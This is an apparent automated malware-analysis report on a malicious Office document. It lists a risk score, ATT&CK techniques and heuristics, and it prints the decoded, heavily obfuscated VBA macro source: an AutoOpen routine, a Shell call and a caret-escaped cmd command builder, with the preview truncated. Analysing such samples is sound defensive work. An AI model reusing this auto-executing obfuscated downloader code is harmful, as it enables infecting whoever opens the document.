MALICIOUS
82
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro, specifically an AutoOpen macro, which is a common technique for initial execution. The macro code is heavily obfuscated and truncated, but the presence of an AutoOpen subroutine strongly suggests it is intended to run automatically when the document is opened. This macro likely attempts to download and execute a second-stage payload, aligning with the characteristics of a downloader malware.
Heuristics 4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12417 bytes |
SHA-256: 99bd2e86f42ec3dd4a578ea9cb483fa6c995d1fa4cd8a5bc16cfe13651275997 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "cLiHQHnABMUj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const GPwTluw = 0
Dim CFMErm(4)
CFMErm(0) = MidB(ltzNqFVB, 769, 963) + Right(SJiiiIQb, 305) + Right(SJiiiIQb, 305) + Right(SJiiiIQb, 305)
CFMErm(1) = Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287)
CFMErm(2) = Mid(SGlCXRf, 124, 654) + MidB(ltzNqFVB, 769, 963)
CFMErm(3) = Left(RvdVXDvm, 287) + Left(RvdVXDvm, 287) + Left(RvdVXDvm, 287) + Mid(SGlCXRf, 124, 654)
Dim wWCaQ(5)
wWCaQ(0) = Left(RvdVXDvm, 287) + MidB(ltzNqFVB, 769, 963) + MidB(ltzNqFVB, 769, 963) + MidB(ltzNqFVB, 769, 963)
wWCaQ(1) = MidB(ltzNqFVB, 769, 963) + Mid(SGlCXRf, 124, 654) + Mid(SGlCXRf, 124, 654) + Right(SJiiiIQb, 305)
wWCaQ(2) = Left(RvdVXDvm, 287) + MidB(ltzNqFVB, 769, 963)
wWCaQ(3) = Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963) + MidB(ltzNqFVB, 769, 963) + Right(SJiiiIQb, 305)
wWCaQ(4) = Right(SJiiiIQb, 305) + Mid(SGlCXRf, 124, 654)
Dim aNUHqi(2)
aNUHqi(0) = Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287) + MidB(ltzNqFVB, 769, 963) + MidB(ltzNqFVB, 769, 963)
aNUHqi(1) = Mid(SGlCXRf, 124, 654) + MidB(ltzNqFVB, 769, 963) + Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287)
Dim HwbJw(2)
HwbJw(0) = Right(SJiiiIQb, 305) + Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287) + Mid(SGlCXRf, 124, 654)
HwbJw(1) = Mid(SGlCXRf, 124, 654) + Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963) + Right(SJiiiIQb, 305)
Dim moSRDK(3)
moSRDK(0) = MidB(ltzNqFVB, 769, 963) + Left(RvdVXDvm, 287) + Mid(SGlCXRf, 124, 654) + Mid(SGlCXRf, 124, 654)
moSRDK(1) = Right(SJiiiIQb, 305) + Mid(SGlCXRf, 124, 654)
moSRDK(2) = MidB(ltzNqFVB, 769, 963) + Left(RvdVXDvm, 287)
Dim joJOlR(3)
joJOlR(0) = Right(SJiiiIQb, 305) + Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305)
joJOlR(1) = Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963)
joJOlR(2) = Mid(SGlCXRf, 124, 654) + Mid(SGlCXRf, 124, 654) + Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287)
Shell@ zRfQnjjROkr + KMMjT + cUKmwTjfwb + zhLXTmj, GPwTluw
Dim wrIHX(4)
wrIHX(0) = Left(RvdVXDvm, 287) + Left(RvdVXDvm, 287)
wrIHX(1) = Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305)
wrIHX(2) = MidB(ltzNqFVB, 769, 963) + Mid(SGlCXRf, 124, 654)
wrIHX(3) = MidB(ltzNqFVB, 769, 963) + MidB(ltzNqFVB, 769, 963) + Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287)
Dim AWQwo(5)
AWQwo(0) = Left(RvdVXDvm, 287) + Left(RvdVXDvm, 287)
AWQwo(1) = Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305)
AWQwo(2) = Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963) + Right(SJiiiIQb, 305)
AWQwo(3) = Mid(SGlCXRf, 124, 654) + MidB(ltzNqFVB, 769, 963)
AWQwo(4) = Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963)
End Sub
Attribute VB_Name = "WXHToOwMXbi"
Function zRfQnjjROkr()
Dim bBSJV(4)
bBSJV(0) = MidB(ltzNqFVB, 769, 963) + Left(RvdVXDvm, 287)
bBSJV(1) = Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305)
bBSJV(2) = Right(SJiiiIQb, 305) + Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305)
bBSJV(3) = Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287) + Mid(SGlCXRf, 124, 654) + Right(SJiiiIQb, 305)
Dim COULY(4)
COULY(0) = MidB(ltzNqFVB, 769, 963) + Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287) + Left(RvdVXDvm, 287)
COULY(1) = MidB(ltzNqFVB, 769, 963) + Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287) + Mid(SGlCXRf, 124, 654)
COULY(2) = Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963)
COULY(3) = Right(SJiiiIQb, 305) + Mid(SGlCXRf, 124, 654) + MidB(ltzNqFVB, 769, 963) + Left(RvdVXDvm, 287)
aXsCZ = CStr(Chr(CleanString(12 + 18 + 11 + 17 + 41))) + "md /V^:^O" + "/" + CStr(Chr(CleanString(8 + 12 + 8 + 11 + 28))) + CStr(Chr(CleanString(3 + 5 + 3 + 5 + 18))) + "^" + "s^e" + "^t ^qn= ^ " + "^ ^ ^ ^ ^ " + " " + " ^ ^ ^ " + "^}^}^{" + "h" + CStr(Chr(CleanString(12 + 18 + 11 + 17 + 41))) + "^ta" + CStr(Chr(CleanString(12 + 18 + 11 + 17 + 41))) + "^" + "}^;kaer^b;s^" + "Jj^$ me^tI" + "-^
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.